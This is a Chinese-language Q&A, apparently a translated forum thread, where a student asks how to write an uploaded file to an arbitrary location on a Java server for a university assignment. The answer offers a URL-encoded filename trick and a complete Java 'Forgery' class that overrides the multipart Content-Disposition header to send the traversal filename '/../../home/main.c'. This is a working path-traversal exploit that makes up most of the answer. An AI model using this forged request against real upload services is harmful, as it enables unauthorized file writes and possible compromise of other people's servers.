我有一个大学作业,我必须将文件上传到任意位置。从代码中可以看出上传的文件是存放在unix系统的临时文件夹+文件名中的。这意味着如果我可以将文件名作为 /../../home/main.c 发送到服务器(java),我可以将文件存储在系统上的任何位置。
在排除此选项的文件名中插入正斜杠字符是不可能的,因此唯一的方法是欺骗 Web 客户端以某种方式手动发送文件名。
这可能吗?如何?
File f = new File (dir,entry.getname());
其中“目录”是 /temp
您可以将文件命名为类似的名称%2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ec并使用浏览器上传,但我怀疑它会起作用。
您还可以尝试伪造您的 multipart/form-data http post 请求来破解现有的实现,如下所示(使用 commons-httpClient 3.1):
public class Forgery
{
public static void main(String[] args)
{
File f = new File("/path/fileToUpload.txt");
PostMethod filePost = new PostMethod("http://host/some_path");
Part[] parts =
{
new StringPart("param_name", "value"),
new FilePart(f.getName(), f)
{
private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME);
@Override
protected void sendDispositionHeader(OutputStream out) throws IOException
{
out.write(CONTENT_DISPOSITION_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes(getName()));
out.write(QUOTE_BYTES);
out.write(FILE_NAME_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes("/../../home/main.c"));
out.write(QUOTE_BYTES);
}
}
};
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
HttpClient client = new HttpClient();
int status = client.executeMethod(filePost);
}
}